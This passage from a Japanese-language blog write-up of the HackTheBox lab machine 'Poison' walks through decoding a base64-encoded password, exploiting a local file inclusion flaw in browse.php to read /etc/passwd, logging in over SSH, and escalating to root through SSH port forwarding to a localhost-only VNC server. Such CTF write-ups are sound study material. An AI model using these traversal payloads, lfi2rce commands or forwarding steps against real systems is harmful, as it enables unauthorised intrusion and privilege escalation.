str="Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVU bGhoTVVwVVZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdGtXQXBpUm5CUFdWZDBS bVZHV25SalJYUlVUVlUxU1ZadGRGZFZaM0JwVmxad1dWWnRNVFJqCk1EQjRXa1prWVZKR1NsVlVW M040VGtaa2NtRkdaR2hWV0VKVVdXeGFTMVZHWkZoTlZGSlRDazFFUWpSV01qVlRZVEZLYzJOSVRs WmkKV0doNlZHeGFZVk5IVWtsVWJXaFdWMFZLVlZkWGVHRlRNbEY0VjI1U2ExSXdXbUZEYkZwelYy eG9XR0V4Y0hKWFZscExVakZPZEZKcwpaR2dLWVRCWk1GWkhkR0ZaVms1R1RsWmtZVkl5YUZkV01G WkxWbFprV0dWSFJsUk5WbkJZVmpKMGExWnRSWHBWYmtKRVlYcEdlVmxyClVsTldNREZ4Vm10NFYw MXVUak5hVm1SSFVqRldjd3BqUjJ0TFZXMDFRMkl4WkhOYVJGSlhUV3hLUjFSc1dtdFpWa2w1WVVa T1YwMUcKV2t4V2JGcHJWMGRXU0dSSGJFNWlSWEEyVmpKMFlXRXhXblJTV0hCV1ltczFSVmxzVm5k WFJsbDVDbVJIT1ZkTlJFWjRWbTEwTkZkRwpXbk5qUlhoV1lXdGFVRmw2UmxkamQzQlhZa2RPVEZk WGRHOVJiVlp6VjI1U2FsSlhVbGRVVmxwelRrWlplVTVWT1ZwV2EydzFXVlZhCmExWXdNVWNLVjJ0 NFYySkdjR2hhUlZWNFZsWkdkR1JGTldoTmJtTjNWbXBLTUdJeFVYaGlSbVJWWVRKb1YxbHJWVEZT Vm14elZteHcKVG1KR2NEQkRiVlpJVDFaa2FWWllRa3BYVmxadlpERlpkd3BOV0VaVFlrZG9hRlZz WkZOWFJsWnhVbXM1YW1RelFtaFZiVEZQVkVaawpXR1ZHV210TmJFWTBWakowVjFVeVNraFZiRnBW VmpOU00xcFhlRmRYUjFaSFdrWldhVkpZUW1GV2EyUXdDazVHU2tkalJGbExWRlZTCmMxSkdjRFpO Ukd4RVdub3dPVU5uUFQwSwo=" 


for i in range(13):
    str=b64decode(str)


print(str)

 

実行すると以下の文字列を取得することができます。

Charix!2#4%6&8(0

 

また、WebページではLFIの脆弱性があるようです。他にもアクセスできるファイルがないか探索します。

python3 lfi2rce.py --linux 10.10.10.84 /browse.php?file=../../../../../..  --error "failed to open stream" -v

※file以降の部分はエラーメッセージの内容をもとに指定します。

探索しているディレクトリの情報

「/etc/passwd」にアクセスできるようです。

/etc/passwd実行結果

最後の方を見ると「charix」というユーザがあることがわかります。
このユーザを使い、SSHでのアクセスを試みます。

 

補足:LFIについて

エラーページにも記載がありますが、include関数は絶対・相対パスを指定して外部ファイルを読み込むことが可能です。

そのため、通常以下のようなリクエストを処理するページに対し、

http://example.com/script?file=index.php

LFIでは以下のようなリクエストを送ることでマシン上の他のファイルを閲覧することが可能となります。

http://example.com/script?file=../../../etc/passwd

 

アクセスの取得

「charlie/Charix!2#4%6&8(0」でSSHアクセスすると、「secrete.zip」というファイルがあります。

このファイルをKali側に送ります。

┌──(kali㉿kali)-[~]
└─$ scp charix@10.10.10.84:~/secret.zip ./
(charix@10.10.10.84) Password for charix@Poison:
secret.zip                                                                                 100%  166     0.4KB/s   00:00    
                                                                                                                             
┌──(kali㉿kali)-[~]
└─$ ls
secret.zip 

unzip(パスワードは上記のもの)して内容を見てもよくわかりませんでした。

secretの中身

 

権限昇格

アクセス後に以下のコマンドを実行してポートとプロセス情報を調べます。

┌──(kali㉿kali)-[~]
└─$ 
charix@Poison:~ % sockstat -4 -l -P tcp
USER     COMMAND    PID   FD PROTO  LOCAL ADDRESS         FOREIGN ADDRESS      
www      httpd      809   4  tcp4   *:80                  *:*
www      httpd      807   4  tcp4   *:80                  *:*
www      httpd      806   4  tcp4   *:80                  *:*
www      httpd      805   4  tcp4   *:80                  *:*
www      httpd      803   4  tcp4   *:80                  *:*
www      httpd      800   4  tcp4   *:80                  *:*
www      httpd      799   4  tcp4   *:80                  *:*
www      httpd      796   4  tcp4   *:80                  *:*
www      httpd      783   4  tcp4   *:80                  *:*
www      httpd      782   4  tcp4   *:80                  *:*
www      httpd      776   4  tcp4   *:80                  *:*
www      httpd      757   4  tcp4   *:80                  *:*
www      httpd      756   4  tcp4   *:80                  *:*
www      httpd      755   4  tcp4   *:80                  *:*
www      httpd      748   4  tcp4   *:80                  *:*
www      httpd      740   4  tcp4   *:80                  *:*
www      httpd      719   4  tcp4   *:80                  *:*
www      httpd      716   4  tcp4   *:80                  *:*
root     sendmail   642   3  tcp4   127.0.0.1:25          *:*
www      httpd      641   4  tcp4   *:80                  *:*
www      httpd      639   4  tcp4   *:80                  *:*
root     httpd      625   4  tcp4   *:80                  *:*
root     sshd       620   4  tcp4   *:22                  *:*
root     Xvnc       529   1  tcp4   127.0.0.1:5901        *:*
root     Xvnc       529   3  tcp4   127.0.0.1:5801        *:*

 

nmapでは見えていませんが、rootの権限で自分自身(10.10.10.84)からのVNC接続が可能なようです。

しかし、自分自身からの接続しか受け付けていないため、sshポートフォワーディングをします。

ポートフォワーディングでは、ローカルのポート接続からあるサーバを踏み台にして直接アクセスできない別のサーバのポートにアクセスすることが可能です。

sshによるポートフォワーディングは以下のようなコマンドで実行します。

ssh [踏み台サーバ] -L [自分自身のポート]:[目的のアドレス]:[目的のポート]

今回の場合は以下のコマンドになります。

コンソール①:ssh charix@10.10.10.84 -L 5901:127.0.0.1:5901

コンソール②:vncviewer -passwd secret 127.0.0.1:5901  

 

上記のコマンドでSSH接続後に、Kali側でvncviewerを実行、パスワードにsecretファイルを指定して自分自身の5901ポートにアクセスすると、宛先のサーバ:ポートに転送されます。

 

SSHポートフォワーディングの流れ

ここまですると「root.txt」を確認することができます。

・・・VNC viewerのコピーってどうやるんだろう。

 

参考にさせていただいたサイト

貴重な情報をありがとうございます。

hrkworks.com

news.mynavi.jp

qiita.com

sanposhiho.com